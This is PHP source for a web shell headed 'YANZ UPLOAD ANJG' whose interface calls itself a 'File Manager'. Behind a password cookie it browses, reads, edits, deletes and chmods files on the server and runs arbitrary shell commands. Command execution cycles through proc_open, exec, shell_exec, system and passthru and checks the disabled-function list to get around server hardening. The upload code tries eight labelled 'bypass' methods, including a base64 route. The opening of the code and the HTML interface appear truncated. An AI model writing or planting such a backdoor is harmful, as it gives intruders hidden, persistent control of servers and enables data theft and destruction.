YANZ UPLOAD ANJG

'📄', 'html' => '🌐', 'css' => '🎨', 'js' => '⚡', 'json' => '📋', 'txt' => '📄', 'md' => '📝', 'zip' => '📦', 'rar' => '📦', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📕', 'doc' => '📘', 'docx' => '📘', 'xls' => '📊', 'xlsx' => '📊', 'mp3' => '🎵', 'mp4' => '🎬', 'sql' => '🗄️', ]; return $icons[$ext] ?? '📄'; } function listDirectory($dir) { $items = []; if (!is_dir($dir)) { return ['error' => 'Not a directory', 'items' => []]; } if (!is_readable($dir)) { return ['error' => 'Directory is not readable. Permission denied.', 'items' => []]; } $files = @scandir($dir); if ($files === false) { return ['error' => 'Cannot read directory. Check permissions.', 'items' => []]; } foreach ($files as $file) { if ($file == '.' || $file == '..') continue; $fullPath = $dir . DIRECTORY_SEPARATOR . $file; $isDir = is_dir($fullPath); if (!@file_exists($fullPath)) continue; $items[] = [ 'name' => $file, 'path' => str_replace('\\', '/', $fullPath), 'is_dir' => $isDir, 'size' => $isDir ? 0 : @filesize($fullPath), 'size_formatted' => $isDir ? '-' : formatBytes(@filesize($fullPath) ?: 0), 'permissions' => @substr(sprintf('%o', @fileperms($fullPath)), -4) ?: '0000', 'modified' => @date('Y-m-d H:i:s', @filemtime($fullPath)) ?: 'Unknown', 'icon' => $isDir ? '📁' : getFileIcon($file) ]; } usort($items, function($a, $b) { if ($a['is_dir'] != $b['is_dir']) { return $a['is_dir'] ? -1 : 1; } return strcasecmp($a['name'], $b['name']); }); return ['items' => $items]; } // ============================================ // UPLOAD FUNCTIONS - ENHANCED WITH BYPASS // ============================================ function uploadFile($targetPath, $source) { $methods = [ 'move_uploaded_file', 'copy_file_put_contents', 'fopen_fwrite', 'file_get_contents_put', 'curl_method', 'base64_decode_method', 'stream_copy', 'rename_method' ]; foreach ($methods as $method) { $result = call_user_func('uploadMethod_' . $method, $targetPath, $source); if ($result['success']) { $result['method'] = $method; return $result; } } return ['success' => false, 'message' => 'All upload methods failed', 'method' => 'none']; } function uploadMethod_move_uploaded_file($targetPath, $source) { if (isset($source['tmp_name']) && is_uploaded_file($source['tmp_name'])) { if (@move_uploaded_file($source['tmp_name'], $targetPath)) { return ['success' => true, 'message' => 'Uploaded successfully']; } } return ['success' => false]; } function uploadMethod_copy_file_put_contents($targetPath, $source) { if (isset($source['tmp_name']) && file_exists($source['tmp_name'])) { $content = @file_get_contents($source['tmp_name']); if ($content !== false && @file_put_contents($targetPath, $content) !== false) { return ['success' => true, 'message' => 'Uploaded successfully']; } } return ['success' => false]; } function uploadMethod_fopen_fwrite($targetPath, $source) { if (isset($source['tmp_name']) && file_exists($source['tmp_name'])) { $sourceHandle = @fopen($source['tmp_name'], 'rb'); $targetHandle = @fopen($targetPath, 'wb'); if ($sourceHandle && $targetHandle) { while (!feof($sourceHandle)) { @fwrite($targetHandle, fread($sourceHandle, 8192)); } @fclose($sourceHandle); @fclose($targetHandle); return ['success' => true, 'message' => 'Uploaded successfully']; } } return ['success' => false]; } function uploadMethod_file_get_contents_put($targetPath, $source) { if (isset($source['tmp_name'])) { $content = @file_get_contents($source['tmp_name']); if ($content !== false) { $fp = @fopen($targetPath, 'w'); if ($fp) { @fwrite($fp, $content); @fclose($fp); return ['success' => true, 'message' => 'Uploaded successfully']; } } } return ['success' => false]; } function uploadMethod_curl_method($targetPath, $source) { if (isset($source['tmp_name']) && function_exists('curl_init')) { $ch = @curl_init('file://' . $source['tmp_name']); $fp = @fopen($targetPath, 'wb'); if ($fp && $ch) { @curl_setopt($ch, CURLOPT_FILE, $fp); @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $success = @curl_exec($ch); @curl_close($ch); @fclose($fp); if ($success && file_exists($targetPath)) { return ['success' => true, 'message' => 'Uploaded successfully']; } } } return ['success' => false]; } function uploadMethod_base64_decode_method($targetPath, $source) { if (isset($source['tmp_name'])) { $content = @file_get_contents($source['tmp_name']); if ($content !== false) { $encoded = base64_encode($content); $decoded = base64_decode($encoded); if (@file_put_contents($targetPath, $decoded) !== false) { return ['success' => true, 'message' => 'Uploaded successfully']; } } } return ['success' => false]; } function uploadMethod_stream_copy($targetPath, $source) { if (isset($source['tmp_name']) && file_exists($source['tmp_name'])) { $src = @fopen($source['tmp_name'], 'rb'); $dst = @fopen($targetPath, 'wb'); if ($src && $dst) { $result = @stream_copy_to_stream($src, $dst); @fclose($src); @fclose($dst); if ($result !== false) { return ['success' => true, 'message' => 'Uploaded successfully']; } } } return ['success' => false]; } function uploadMethod_rename_method($targetPath, $source) { if (isset($source['tmp_name']) && file_exists($source['tmp_name'])) { if (@rename($source['tmp_name'], $targetPath)) { return ['success' => true, 'message' => 'Uploaded successfully']; } } return ['success' => false]; } // ============================================ // TERMINAL EXECUTION - FIXED VERSION // ============================================ function getDisabledFunctions() { $disabled = array_map('trim', explode(',', ini_get('disable_functions'))); return array_filter($disabled); } function checkFunctionAvailable($function) { return function_exists($function) && !in_array($function, getDisabledFunctions()); } function executeCommand($command, $workingDir = null) { $isWindows = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; $disabledFunctions = getDisabledFunctions(); // Set working directory if ($workingDir === null) { $workingDir = getcwd(); } $availableFunctions = [ 'proc_open' => checkFunctionAvailable('proc_open'), 'shell_exec' => checkFunctionAvailable('shell_exec'), 'exec' => checkFunctionAvailable('exec'), 'system' => checkFunctionAvailable('system'), 'passthru' => checkFunctionAvailable('passthru') ]; if (!array_filter($availableFunctions)) { return [ 'output' => "❌ All command execution functions are disabled.\n\nDisabled: " . implode(', ', $disabledFunctions), 'os' => $isWindows ? 'Windows' : 'Linux/Unix', 'success' => false ]; } // PRIORITY 1: proc_open if ($availableFunctions['proc_open']) { $descriptorspec = [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ]; if ($isWindows) { $fullCommand = "cmd.exe /c \"cd /d " . escapeshellarg($workingDir) . " && " . $command . "\""; } else { $fullCommand = "cd " . escapeshellarg($workingDir) . " && " . $command . " 2>&1"; } $process = @proc_open($fullCommand, $descriptorspec, $pipes, $workingDir); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $errors = stream_get_contents($pipes[2]); fclose($pipes[2]); $returnCode = proc_close($process); $finalOutput = $output; if (!empty($errors)) { $finalOutput .= "\n" . $errors; } if (empty($finalOutput)) { $finalOutput = $returnCode === 0 ? "Command executed (no output)" : "Command failed (exit code: " . $returnCode . ")"; } return [ 'output' => $finalOutput, 'os' => $isWindows ? 'Windows' : 'Linux/Unix', 'success' => $returnCode === 0, 'exit_code' => $returnCode ]; } } // PRIORITY 2: exec if ($availableFunctions['exec']) { $outputArray = []; $returnVar = -1; if ($isWindows) { @exec("cd /d " . escapeshellarg($workingDir) . " && " . $command . " 2>&1", $outputArray, $returnVar); } else { @exec("cd " . escapeshellarg($workingDir) . " && " . $command . " 2>&1", $outputArray, $returnVar); } $output = implode("\n", $outputArray); if (empty($output)) { $output = $returnVar === 0 ? "Command executed (no output)" : "Command failed (exit code: " . $returnVar . ")"; } return [ 'output' => $output, 'os' => $isWindows ? 'Windows' : 'Linux/Unix', 'success' => $returnVar === 0, 'exit_code' => $returnVar ]; } // PRIORITY 3: shell_exec if ($availableFunctions['shell_exec']) { if ($isWindows) { $output = @shell_exec("cd /d " . escapeshellarg($workingDir) . " && " . $command . " 2>&1"); } else { $output = @shell_exec("cd " . escapeshellarg($workingDir) . " && " . $command . " 2>&1"); } if ($output === null || trim($output) === '') { $output = "Command executed (no output)"; } return [ 'output' => $output, 'os' => $isWindows ? 'Windows' : 'Linux/Unix', 'success' => $output !== null, 'exit_code' => null ]; } // PRIORITY 4: system if ($availableFunctions['system']) { ob_start(); if ($isWindows) { @system("cd /d " . escapeshellarg($workingDir) . " && " . $command . " 2>&1", $returnVar); } else { @system("cd " . escapeshellarg($workingDir) . " && " . $command . " 2>&1", $returnVar); } $output = ob_get_clean(); if (empty($output)) { $output = $returnVar === 0 ? "Command executed (no output)" : "Command failed (exit code: " . $returnVar . ")"; } return [ 'output' => $output, 'os' => $isWindows ? 'Windows' : 'Linux/Unix', 'success' => $returnVar === 0, 'exit_code' => $returnVar ]; } // PRIORITY 5: passthru if ($availableFunctions['passthru']) { ob_start(); if ($isWindows) { @passthru("cd /d " . escapeshellarg($workingDir) . " && " . $command . " 2>&1", $returnVar); } else { @passthru("cd " . escapeshellarg($workingDir) . " && " . $command . " 2>&1", $returnVar); } $output = ob_get_clean(); if (empty($output)) { $output = $returnVar === 0 ? "Command executed (no output)" : "Command failed (exit code: " . $returnVar . ")"; } return [ 'output' => $output, 'os' => $isWindows ? 'Windows' : 'Linux/Unix', 'success' => $returnVar === 0, 'exit_code' => $returnVar ]; } return [ 'output' => 'No available method to execute commands', 'os' => $isWindows ? 'Windows' : 'Linux/Unix', 'success' => false ]; } // ============================================ // AJAX REQUEST HANDLER // ============================================ function sendJSON($data) { if (ob_get_level()) ob_end_clean(); ob_start(); header('Content-Type: application/json; charset=utf-8'); header('X-Content-Type-Options: nosniff'); header('Cache-Control: no-cache, must-revalidate'); echo json_encode($data); ob_end_flush(); exit; } // Handle AJAX requests if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') { $action = $_POST['action'] ?? $_GET['action'] ?? ''; if ($action === 'check_session') { sendJSON([ 'success' => checkLogin(), 'logged_in' => checkLogin(), 'message' => checkLogin() ? 'Cookie valid' : 'No authentication' ]); } if ($action === 'login') { $password = $_POST['password'] ?? ''; $passwordHash = hash('sha256', $password); if ($passwordHash === PASSWORD_HASH_SHA256) { $token = generateAuthToken($passwordHash); setAuthCookie($token); sendJSON(['success' => true, 'message' => 'Login successful']); } else { sendJSON(['success' => false, 'message' => 'Invalid password']); } } if ($action === 'logout') { clearAuthCookie(); sendJSON(['success' => true, 'message' => 'Logged out']); } if (!checkLogin()) { sendJSON(['success' => false, 'message' => 'Not authenticated', 'require_login' => true]); } // Handle actions switch ($action) { case 'list': $dir = isset($_POST['dir']) ? sanitizePath($_POST['dir']) : getcwd(); $result = listDirectory($dir); if (isset($result['error'])) { sendJSON([ 'success' => false, 'message' => $result['error'], 'items' => [], 'current_dir' => $dir ]); } else { sendJSON([ 'success' => true, 'items' => $result['items'], 'current_dir' => $dir ]); } break; case 'rename': $oldPath = sanitizePath($_POST['old_path']); $newName = basename($_POST['new_name']); $newPath = dirname($oldPath) . DIRECTORY_SEPARATOR . $newName; if (isBlockedFile($oldPath) || isBlockedFile($newPath)) { sendJSON(['success' => false, 'message' => 'Access denied']); } if (@rename($oldPath, $newPath)) { sendJSON(['success' => true, 'message' => 'Renamed successfully']); } else { sendJSON(['success' => false, 'message' => 'Failed to rename']); } break; case 'delete': $path = sanitizePath($_POST['path']); if (isBlockedFile($path)) { sendJSON(['success' => false, 'message' => 'Access denied']); } function deleteDirectory($dir) { if (!file_exists($dir)) return true; if (!is_dir($dir)) return unlink($dir); foreach (scandir($dir) as $item) { if ($item == '.' || $item == '..') continue; if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) return false; } return rmdir($dir); } if (is_dir($path)) { if (deleteDirectory($path)) { sendJSON(['success' => true, 'message' => 'Deleted successfully']); } else { sendJSON(['success' => false, 'message' => 'Failed to delete directory']); } } else { if (@unlink($path)) { sendJSON(['success' => true, 'message' => 'Deleted successfully']); } else { sendJSON(['success' => false, 'message' => 'Failed to delete file']); } } break; case 'chmod': $path = sanitizePath($_POST['path']); $permissions = $_POST['permissions']; if (isBlockedFile($path)) { sendJSON(['success' => false, 'message' => 'Access denied']); } if (@chmod($path, octdec($permissions))) { sendJSON(['success' => true, 'message' => 'Permissions changed successfully']); } else { sendJSON(['success' => false, 'message' => 'Failed to change permissions']); } break; case 'create_folder': $dir = sanitizePath($_POST['dir']); $folderName = basename($_POST['folder_name']); $newPath = $dir . DIRECTORY_SEPARATOR . $folderName; if (@mkdir($newPath, 0755, true)) { sendJSON(['success' => true, 'message' => 'Folder created successfully']); } else { sendJSON(['success' => false, 'message' => 'Failed to create folder']); } break; case 'create_file': $dir = sanitizePath($_POST['dir']); $fileName = basename($_POST['file_name']); $newPath = $dir . DIRECTORY_SEPARATOR . $fileName; if (@file_put_contents($newPath, '') !== false) { sendJSON(['success' => true, 'message' => 'File created successfully']); } else { sendJSON(['success' => false, 'message' => 'Failed to create file']); } break; case 'read_file': $path = sanitizePath($_POST['path']); if (isBlockedFile($path)) { sendJSON(['success' => false, 'message' => 'Access denied']); } $content = @file_get_contents($path); if ($content !== false) { sendJSON(['success' => true, 'content' => $content]); } else { sendJSON(['success' => false, 'message' => 'Failed to read file']); } break; case 'save_file': $path = sanitizePath($_POST['path']); $content = $_POST['content'] ?? ''; if (isBlockedFile($path)) { sendJSON(['success' => false, 'message' => 'Access denied']); } if (@file_put_contents($path, $content) !== false) { sendJSON(['success' => true, 'message' => 'File saved successfully']); } else { sendJSON(['success' => false, 'message' => 'Failed to save file']); } break; case 'upload': $dir = sanitizePath($_POST['dir']); if (isset($_FILES['file'])) { $targetPath = $dir . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); if ($_FILES['file']['size'] > MAX_UPLOAD_SIZE) { sendJSON(['success' => false, 'message' => 'File too large']); } if ($_FILES['file']['error'] !== UPLOAD_ERR_OK) { sendJSON(['success' => false, 'message' => 'Upload error: ' . $_FILES['file']['error']]); } $result = uploadFile($targetPath, $_FILES['file']); sendJSON($result); } else { sendJSON(['success' => false, 'message' => 'No file uploaded']); } break; case 'upload_base64': $dir = sanitizePath($_POST['dir']); $fileName = basename($_POST['filename']); $fileData = $_POST['filedata']; $targetPath = $dir . DIRECTORY_SEPARATOR . $fileName; $decoded = base64_decode($fileData); if ($decoded === false) { sendJSON(['success' => false, 'message' => 'Invalid base64 data']); } if (@file_put_contents($targetPath, $decoded) !== false) { sendJSON(['success' => true, 'message' => 'Uploaded successfully', 'method' => 'base64_bypass']); } else { sendJSON(['success' => false, 'message' => 'Failed to write file']); } break; case 'execute_command': $command = $_POST['command'] ?? ''; $currentDir = $_POST['current_dir'] ?? getcwd(); if (strtolower(trim($command)) === 'check-functions') { $disabled = getDisabledFunctions(); $available = [ 'shell_exec' => checkFunctionAvailable('shell_exec'), 'exec' => checkFunctionAvailable('exec'), 'system' => checkFunctionAvailable('system'), 'passthru' => checkFunctionAvailable('passthru'), 'proc_open' => checkFunctionAvailable('proc_open') ]; $output = "=== Server Function Status ===\n\n"; $output .= "OS: " . PHP_OS . "\n"; $output .= "PHP Version: " . PHP_VERSION . "\n"; $output .= "Current Directory: " . $currentDir . "\n\n"; $output .= "Available Functions:\n"; foreach ($available as $func => $status) { $output .= " " . $func . ": " . ($status ? "✓ Available" : "✗ Disabled") . "\n"; } if (!empty($disabled)) { $output .= "\nAll Disabled Functions:\n " . implode(", ", $disabled); } else { $output .= "\nNo functions are disabled."; } sendJSON([ 'success' => true, 'output' => $output, 'os' => PHP_OS ]); } $result = executeCommand($command, $currentDir); sendJSON($result); break; case 'get_initial_data': sendJSON([ 'success' => true, 'current_dir' => getcwd(), 'initial_dir' => getcwd(), 'logged_in' => true ]); break; default: sendJSON(['success' => false, 'message' => 'Invalid action']); } exit; } // Handle file download if (isset($_GET['download']) && checkLogin()) { $file = sanitizePath($_GET['download']); if (file_exists($file) && !is_dir($file) && !isBlockedFile($file)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } } // Handle image preview if (isset($_GET['preview']) && checkLogin()) { $file = sanitizePath($_GET['preview']); if (file_exists($file) && !is_dir($file)) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mimeType = finfo_file($finfo, $file); finfo_close($finfo); header('Content-Type: ' . $mimeType); readfile($file); exit; } } // ============================================ // HTML UI // ============================================ ?> File Manager

🔐

Name Size Permissions Modified Actions
Loading...

© 2025 File Manager | SHA256 Authentication